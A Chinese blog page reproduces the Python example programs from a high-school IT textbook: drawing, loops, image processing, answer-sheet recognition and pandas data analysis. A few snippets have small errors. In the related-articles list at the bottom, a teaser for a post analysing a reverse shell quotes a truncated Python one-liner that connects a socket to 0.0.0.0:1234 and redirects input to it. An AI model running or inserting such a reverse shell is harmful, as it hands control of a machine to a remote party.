高中信息技术(Python) 必修1 数据与计算 源代码

摘要:
第一章数据和信息1.1感知数据1.2数据信息和知识1.3数据采集和编码1.4数据管理和安全1.5数据和大数据第二章算法和问题解决2.1算法概念和描述P46停车场停车位检测标志=intifflag==1:printprintlse:printprintprint2.2算法控制结构2.3过程用算法解决问题第3章算法的程序实现3.1用计算机编程解决问题的一般过程P67绘制正n边importTurn=inta=intd=(n-2)*180/nt=turn。Pen()foriinrange:#重复n次。forward#绘制长度为a的线段。left#向左旋转3.2 Python语言编程P68计算4+13˃˃print17P69输出“您好Python!打印时,不要输出类型“”,运行“您好”+“Python!

本文章原文地址:https://www.cnblogs.com/BobHuang/p/15621121.html,原文体验更佳
教材P68中IDLE显示Python版本为3.7.0,所以建议使用Python3.7系列。

第一章 数据与信息

1.1 感知数据

1.2 数据、信息与知识

1.3 数据采集与编码

1.4 数据管理与安全

1.5 数据与大数据

第二章 算法与问题解决

2.1 算法概念及描述

P46 停车场车位探测

flag = int(input("输入车位状态值:"))
if flag == 1:
    print("绿色")
    print("空车位")
else:
    print("红色")
    print("非空车位")

2.2 算法的控制结构

2.3 用算法解决问题的过程

第三章 算法的程序实现

3.1 用计算机编程解决问题的一般过程

P67 绘制正n边形

import turtle
n=int(input("请输入正多边形的边数n:"))
a= int(input("请输入边长a:"))
d=(n-2)*180/n
t=turtle.Pen()
for i in range(n):  #重复执行n遍
    t.forward (a)   #向前绘制长度为a的线段
    t.left(180-d)   #向左旋转(180-d)度

3.2 Python语言程序设计

P68 计算4+13

>>>  print(4+13)
17

P69 输出"Hello Python!"

>>>  print("Hello"+" Python!")
Hello Python!

教材'Hello Python!'错了。打印时并不输出类型的'',运行"Hello"+" Python!"是有单引号的。
P69 两个数求和

a=int(input("请输入正整数a:"))
b=int(input("请输入正整数b:"))
c=a+b
print(c)

P71 in成员运算符示例

>>> "w" in "rw"
True
>>> "x" in "rw"
False

P72 定义变量

>>> degress_cel=26.0
>>> degress_cel
26.0
>>> degress_cel="26.0"
>>> degress_cel
'26.0'

P72 赋值语句

>>> number=0
>>> number=number+1
>>> print(number)
1

P72 定义列表

>>> info=["BH60018","苹果",50]

P73 使用索引访问元素

>>> info=["BH60018","苹果",50]
>>> info[2]
50
>>> s="Hello"
>>> s[1]
'e'

P73 切片

>>> info[0:2]
['BH60018', '苹果']
>>> s[1:4]
'ell'

P74 字典

>>> dic={"铅笔":71,"钢笔":59,"橡皮":98,"尺子":92}
>>> print(dic["铅笔"])
71

P74 交换a和b

a=int(input("请输入整数a的值:"))
b=int(input("请输入整数b的值:"))
c=a     #语句1
a=b     #语句2
b=c     #语句3
print("a=",a)
print("b=",b)

P77 区间测速

s=25
t=int(input("请输入用时(秒):"))
v=s*3600/t
if v<=100:
    print("正常")
else:
    print("超速")

P78 问题与讨论
分析下面两段代码,找出两者的区别。
代码一

s=25
t=int(input("请输入用时(秒):"))
v=s*3600/t
if v<=100:
    print("正常")
else:
    print("平均车速",round(v,1))
print("超速")

代码二

s=25
t=int(input("请输入用时(秒):"))
v=s*3600/t
if v<=100:
    print("正常")
else:
    print("平均车速",round(v,1))
    print("超速")

P80 区间测速加强版

s=25
t=int(input("请输入用时(秒):"))
v=s*3600/t
print("平均车速", round(v,1))
if v<=100:
    print("正常")
elif v<120:
    print("超过规定时速且不足20%")
elif v<150:
    print("超过规定时速20%以上且不足50%")
elif v<170:
    print("超过规定时速50%以上且不足70%")
else:
    print("超过规定时速70%以上")

P80 for序列遍历

hobby=["篮球","羽毛球","看书","旅游","音乐"]
for x in hobby:
    print(x)

P81 for range列表遍历

for num in range(0, 10, 1):
    print(num, end=' ')

P82 热量消耗

a=[95,100,122,180,245,221]
s=0
for j in a:
    s=s+j
print("总消耗热量为:",s)

P83 猜数游戏

number=23
running= False
while not running:
    guess=int(input("请输入猜测的数:"))
    if guess==number:
        print("正确")
        running=True
    elif guess<number:
        print("偏小")
    else:
        print("偏大")

P84 自定义三角形面积函数

def Area(a, b, c):
    p=(a+b+c)/2
    s=(p*(p-a)*(p-b)*(p-c))**0.5
    return s

P85 模块的导入和应用
方法1

>>> import math
>>> math.sqrt(9)
3.0

方法2

>>> from math import sqrt
>>> sqrt(9)
3.0

P86 计算圆的面积

import math
r=float(input("请输入圆的半径r:"))
pi=math.pi
s=pi*pow(r, 2)
print("圆面积是:",str(s))

P86 随机出场顺序

import random
cla=["(2)班","(3)班","(5)班","(8)班","(9)班"]
random.shuffle(cla)
for x in cla:
    print(x)

P86 使用Image模块操作图像

from PIL import Image
im= Image.open("school.jpg") #打开school.jpg图像文件
print(im.format)             #获取图像文件格式
print(im.size)               #获取图像尺寸大小(以像素为单位表示图像的宽度和高度)
print(im.mode)               #获取图像的颜色模式
im.rotate(45).show()         #将图像旋转45°后显示

* P87 实践与体验 编程实现图像的简单处理

from PIL import Image
import numpy as np
import matplotlib. pyplot as plt
img=np.array(Image.open('lena.jpg').convert('L'))
rows, cols=img.shape                 #图像尺寸分别赋值
for i in range(rows):                #依次取每个像素的坐标
    for j in range(cols):
        if(img[i,j]>128):            #像素值大于128,赋值1,否则为0
            img[i,j]=1
        else:
            img[i,j]=0
plt.figure("lena")                   #指定当前绘图对象
plt.imshow(img,cmap='gray')          #显示灰度图像
plt.axis('off')                      #关闭图像坐标
plt.show()                           #弹出包含了图片的窗口

P88 思考与练习1 表达式或程序语句的值

(1)123%100
(2)len("Hello Leo!")
(3)abs(-12)
(4)data=[172,9,165,29,156,21]
    max(data)

P89 思考与练习6 turtle画图

import turtle
t=turtle.Pen()
turtle.bgcolor("white")
colors=["red","green","blue","yellow"]
for x in range(100):
    t.pencolor(colors[x%4])
    t.circle(x)
    t.left(91)

3.3 简单算法及其程序实现

P91 根据灰度值判断黑白

R=43
G=10
B=241
Gray_scale=0.299*R+0.587*G+0.114*B
if Gray_scale<132:
    print("黑色")
else:
    print("白色")

P91 枚举求整数的因子

x=int(input("请输入整数x:"))
i=1
while i<=x-1:
    if x%i==0:
        print(i)
    i=i+1

P92 给定多个像素点判断颜色

count=0
Gray_scale=47,178,146,185,116
for i in range(0,len(Gray_scale)):
    if Gray_scale[i]<132:
        print("第"+str(i+1)+"个像素为黑色;")
        count=count+1
print("黑色像素总共有:"+str(count)+"个。")

P93 读入颜色数据判断是否填涂

fname= input("请输入文件名称:")
f= open(fname, "r+")                    #以读写的方式打开文件
count=0
line= f.readline()                      #从文件中读取一行
while line:                             #当line非空(从文件读取到了数据
    line=line.split()                   #把空白字符去除,变成包含三个str的list
    R,G,B= map(int, line)               #把line中三个str转化成int并赋值给R,G,B
    if 0.299*R+0.587*G+0.144*B<132:
        count= count +1
    line=f.readline()                   #继续读取一行
print(count)

if count >= 300*0.64:
    print("已填涂!")
else:
    print("未填涂!")
f.close()

P93 拓展链接 文件读写

>>> f = open('test.txt','r')
>>> f.read()
'Hello, world!'

调用open()函数打开由参数指定的文件对象,参数'r'表示读文本文件模式,参数'w'表示写文本文件模式,'r+'模式则表示在打开一个文本文件同时允许读和写。调用read()函数会一次性读取文件的全部内容

for line in f.readlines():
    print(line.strip())                 #strip()把末尾的'\n'删掉

文件使用完毕后必须关闭,操作系统才会把内存中的待写入的数据全部写入磁盘

>>> f.close()

将"Hello, world!"写入test.txt

>>> f = open('test.txt','w')
>>> f.write('Hello, world!')
>>> f.close()

P94 自定义判断黑白函数

def bw_judge(R,G,B):
    Gray_scale=0.299*R+0.587*G+0.114*B
    if Gray_scale<132:
        color="黑色"
    else:
        color="白色"
    return color

P95 读取图像判断是否填涂

from PIL import Image
im = Image.open("RGB.bmp")
pix = im.load()
width = im.size[0]                            # size中有两个参数,第1个参数为图像宽度值
height = im.size[1]                           # 第2个参数为图像高度值
count=0
for x in range(width):
    for y in range(height):
        R,G,B = pix[x, y]                     # 根据像素坐标获得该点的 RGB 值
        if bw_judge(R,G,B)=="黑色":            # bw_judge函数用于判断黑、白像素
            count=count+1
if count>=width*height*0.64:
    print("已填涂!")
else:
    print("未填涂!")

P97 准考证填涂识别

def bw_judge(R, G, B):                        # bw_judge用于判断一个像素的填涂情况
    Gray_scale = 0.299 * R + 0.587 * G + 0.114 * B
    return Gray_scale < 132

def fill_judge(x, y):                         # fill_judge用于判断信息点的填涂情况
    count = 0
    for i in range(x, x + fill_width + 1):
        for j in range(y, y + fill_height + 1):
            R, G, B = pixels[i, j]
            if bw_judge(R, G, B) == True:
                count = count + 1
    if count >= fill_width * fill_height * 0.64:
        return True

from PIL import Image
x_start = 12                         # 起始点坐标
y_start = 92
fill_width   = 24                    # 信息点宽度
fill_height  = 12                    # 信息点高度
space_width  = 16                    # 间隔宽度
space_height = 15                    # 间隔高度
num_length = 9                       # 准考证号长度

total_width  = fill_width + space_width
total_height = fill_height + space_height
image = Image.open("fill.bmp")
pixels = image.load()
number = ""

for col in range(num_length):         # x从左至右,y从上至下对填涂区进行检测
    for row in range(10):
        x = x_start + total_width  * col
        y = y_start + total_height * row
        if fill_judge(x, y) == True:
            number = number + str(row)
            break
    else:                            # 10个信息点检测完毕后未发现有填涂
        number = number + '#'
print(number)

* P99 实践与体验 图像字符画

from PIL import Image
serarr=['@','#','$','%','&','?','*','o','/','{','[','(','|','!','^','~','-','_',':',';',',','.','`',' ']
count=len(serarr)
 
def toText(image_file):
   asd =''                                      # 储存字符串
   for h in range(0,  image_file.size[1]):      # 垂直方向
      for w in range(0, image_file.size[0]):    # 水平方向
         r,g,b =image_file.getpixel((w,h))
         gray =int(r* 0.299+g* 0.587+b* 0.114)
         asd=asd+serarr[int(gray/(255/(count-1)))]
      asd=asd+'\r\n'
   return asd
 
image_file = Image.open("boy.jpg")              # 打开图片
image_file=image_file.resize((int(image_file.size[0]*0.9), int(image_file.size[1]*0.5)))   #调整图片大小

tmp=open('boy.txt','a')
tmp.write(toText(image_file))
tmp.close()

第四章 数据处理与应用

4.1 常用表格数据的处理

4.2 大数据处理

P114 统计文件filenmae中各单词出现的频率

wordcount={}
for word in open(filename,'r').read():
    wordcount[word]+=1

P120 例1 创建1个seris结构类型的对象s1,存储3名同学的身高值

import pandas as pd
s1=pd.Series([166,178,180])
print(s1)

#创建Series对象时指定索引
s2=pd.Series([166,178,180],index=["s01","s02","s03"])
print(s2)

P121 例2 查看例1中s1对象的index、values属性值

for i in s1.index:
    print(i)
for i in s1.values:
    print(i)
for i in s1:
    print(i)

P121 例3 使用相同长度的列表字典构建一个DataFrame对象df1,存储3名同学的姓名、性别、图书借阅次数数据。

import pandas as pd
data={"姓名":["王静怡","张佳妮","李辰武"],"性别":["女","女","男"],"借阅次数":[28,56,37]}
df1=pd.DataFrame(data,columns=["姓名","性别","借阅次数"])
print(df1)

P121 例4 读取Excel文件“test.xlsx”中的数据,创建DataFrame对象df。

import pandas as pd
df=pd.read_excel("test.xlsx")
print(df)

P122 例5 查看df1对象的索引、列标题、值,并将行列转置。

for i in df1.index:
    print(i)
for i in df1.columns:
    print(i)
for i in df1.values:
    print(i)

print(df1.T)

P122 例6 分别检索df1对象中“姓名”“借阅次数”列数据,并修改“借阅次数”列数据

print(df1.姓名)
print(df1["借阅次数"])
df1.借阅次数=[30,52,68]
print(df1)

P123 例7 对df对象中的数据进行以下编辑:在最后一行追星一行数据;删除“规格”列数据;删除第一行数据。

#添加一行数据
df_add=df.append({"地区":"石家庄市","规格":"红富士 一级","单位":"元/500克","价格":4.00,"采价点":"集市3","采集时间":"11月中旬"},ignore_index=True)
df_delc=df.drop("规格",axis=1)                             #删除"规格"列数据
df_delr=df.drop(0)                                        #删除第1行数据

P124 例8 将df对象中的数据按“地区”分组,并计算分组后各组数据的平均值。

g=df.groupby("地区",as_index=False)
print(g.mean())                                           #计算每组价格数据的平均值

P124 例9 对df对象中的数据,按“价格”值降序排序。

df_sort=df.sort_values("价格",ascending=False)            #按价格值降序排序
print(df_sort) 

P125 例10 绘制正弦曲线图。

import numpy as np
import matplotlib.pyplot as plt
x=np.linspace(0,10,1000)
y1=np.sin(x)
y2=np.sin(x**2)
plt.figure(figsize=(8,4))                               #创建图表对象

plt.title("sin(x) and sin(x**2)")                       #设置图表标题文字
plt.plot(x,y1,label="sin(x)",color="r",linewidth=2)     #绘制线形图
plt.scatter(x, y2,label="sin(x**2)")                    #绘制散点图

plt.ylim(-1.5,1.5)                                      #设置y坐标轴取值范围
plt.xlim(0,10)                                          #设置x坐标轴取值范围
plt.legend()                                            #显示图例

plt.show()

P126 通过统计某地姓名数据,分析当地姓氏的构成情况。

import pandas as pd
import matplotlib.pyplot as plt 
import codecs                                          #处理中文utf-8编码
from matplotlib.font_manager import FontProperties     #显示中文字体

file = codecs.open('names.csv',"r","utf-8")            #打开文件

# 定义复姓 list
fx=['欧阳','太史','端木','上官','司马','东方','独孤','南宫','万俟','闻人','夏侯','诸葛','尉迟','公羊',
'赫连','澹台','皇甫','宗政','濮阳','公冶','太叔','申屠','公孙','慕容','仲孙','钟离','长孙','宇文',
'司徒','鲜于','司空','闾丘','子车','亓官','司寇','巫马','公西','颛孙','壤驷','公良','漆雕','乐正',
'宰父','谷梁','拓跋','夹谷','轩辕','令狐','段干','百里','呼延','东郭','南门','羊舌','微生','公户',
'公玉','公仪','梁丘','公仲','公上','公门','公山','公坚','左丘','公伯','西门','公祖','第五','公乘'
]

xing = []
j=0
for line in file:
    if line[0:2] in fx:                                #取复姓
        xing.append(line[0:2])
    else:
        xing.append(line[0:1])                         #取单姓
    j=j+1    

data={'xing':xing,"renshu":0}
df=pd.DataFrame(data)                                  #构造DataFrame数据结构

s= df.groupby('xing').count()                          #按照"xing"分组计数
s=s.sort_values('renshu',ascending=False)              #按照"renshu"降序排列


ax=s[0:20].plot(kind='bar',rot=0)                      #对前20绘图

#显示中文标签
font = FontProperties(fname=r"c:\windows\fonts\simsun.ttc", size=14)  
for label in ax.get_xticklabels(): 
    label.set_fontproperties(font) 


plt.show()     #显示图形
print(s)

本代码出现了codecs模块,是为了处理中文编码的。如果报错把codecs.py复制到当前文件夹或者添加Pythob Lib文件夹的环境变量。

* P132 实践与体验 中文分词与标签云

import os
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
from wordcloud import WordCloud,STOPWORDS
d = os.path.dirname(__file__)                       #d取当前文件路径
pic="alice_mask.png"                                #pic存放图片名称
pic_mask = np.array(Image.open(os.path.join(d, pic)))

wc = WordCloud(background_color="white", max_words=6000, mask=pic_mask, stopwords=STOPWORDS,font_path="fonts/simhei.ttf")
wc.fit_words(wf)   #生成标签云,wf存放词语及词频
plt.imshow(wc)     #显示图片

P138 思考与练习 使用Python中文分词模块jieba,体验中文分词

import jieba                                        #引用jieba分词模块
text = open('file_name.txt','r').read()             #读入文本文件
seg_list = jieba.cut(str_delete,cut_all=True)       #全模式分词
print("全模式分词:"," ".join(seg_list))
seg_list = jieba.cut(text)                          #默认模式分词
print("全模式分词:"," ".join(seg_list))

4.3 大数据典型应用

* P142 实践与体验 出租车轨迹可视化分析

import matplotlib.pyplot as plt

def plot_file (file):                              #绘制每个文件的GPS坐标轨迹
    i=0
    jd=[] #经度
    wd= [] #纬度
    for line in open (file) :
        i=i+1 #切分行数据
        splitline=line.split(',')                 #取轨迹坐标
        x=float(splitline[4])
        y=float(splitline[5])
        jd.append(x)
        wd.append(y)
    plt.plot(jd,wd)                              #画点
filename='xyz.txt'
plot_file(filename)
plt.show()

第五章 人工智能及应用

5.1 人工智能的产生与发展

5.2 人工智能的应用

5.3 人工智能对社会的影响

免责声明:文章转载自《高中信息技术(Python) 必修1 数据与计算 源代码》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Vue:计算属性(使用、set和get方法、缓存)【spring】spring源码阅读之xml读取、bean注入(BeanFactory)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

python基础知识(理论)

一、运算符1.算数运算符 + - * / % ** //2**10 2的10次方4.2 // 2 == 2 只取整数部分,取商的整数部分py2 4.2 / 2 ==2py3 4.2 / 2 == 2.1二、赋值运算= 简单赋值+= 加法赋值运算-= 减法赋值运算*= 乘法赋值运算/= 除法赋值运算%=...

Vue安装与简单使用

Vue入门 使用Typora打开https://pan.baidu.com/s/1Mf3ZFSthdVUQevqWr777eA 提取码: hg9b vue中文官网教学 安装与使用,我也经常看这个 点击进入 认识Vue Vue (读音 /vjuː/,类似于 **view**) 是一套用于构建用户界面的**渐进式框架** 安装Node.js...

python之路 之一pyspark

pip包下载安装pyspark pip install pyspark  这里可能会遇到安装超时的情况   加参数  --timeout=100 pip   -default   -timeout=100     install -U pyspark  下面是我写的一些代码,在运行时,没什么问题,但是目前不知道怎么拿到rdd与dataframe中的值  f...

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...

Linux/Android——input_handler之evdev (四) 【转】

转自:http://blog.csdn.net/u013491946/article/details/72638919 版权声明:免责声明: 本人在此发文(包括但不限于汉字、拼音、拉丁字母)均为随意敲击键盘所出,用于检验本人电脑键盘录入、屏幕显示的机械、光电性能,并不代表本人局部或全部同意、支持或者反对观点。如需要详查请直接与键盘生产厂商法人代表联系 .挖...

使用Python获取图片的物理尺寸(KB)

如何获取图片的物理尺寸,而非(width, height)? #! -*- coding: utf-8 -*- import requests import io url = "https://i.loli.net/2019/11/23/Q7NAVgfWp8YnhSl.jpg" image = requests.get(url).content #ima...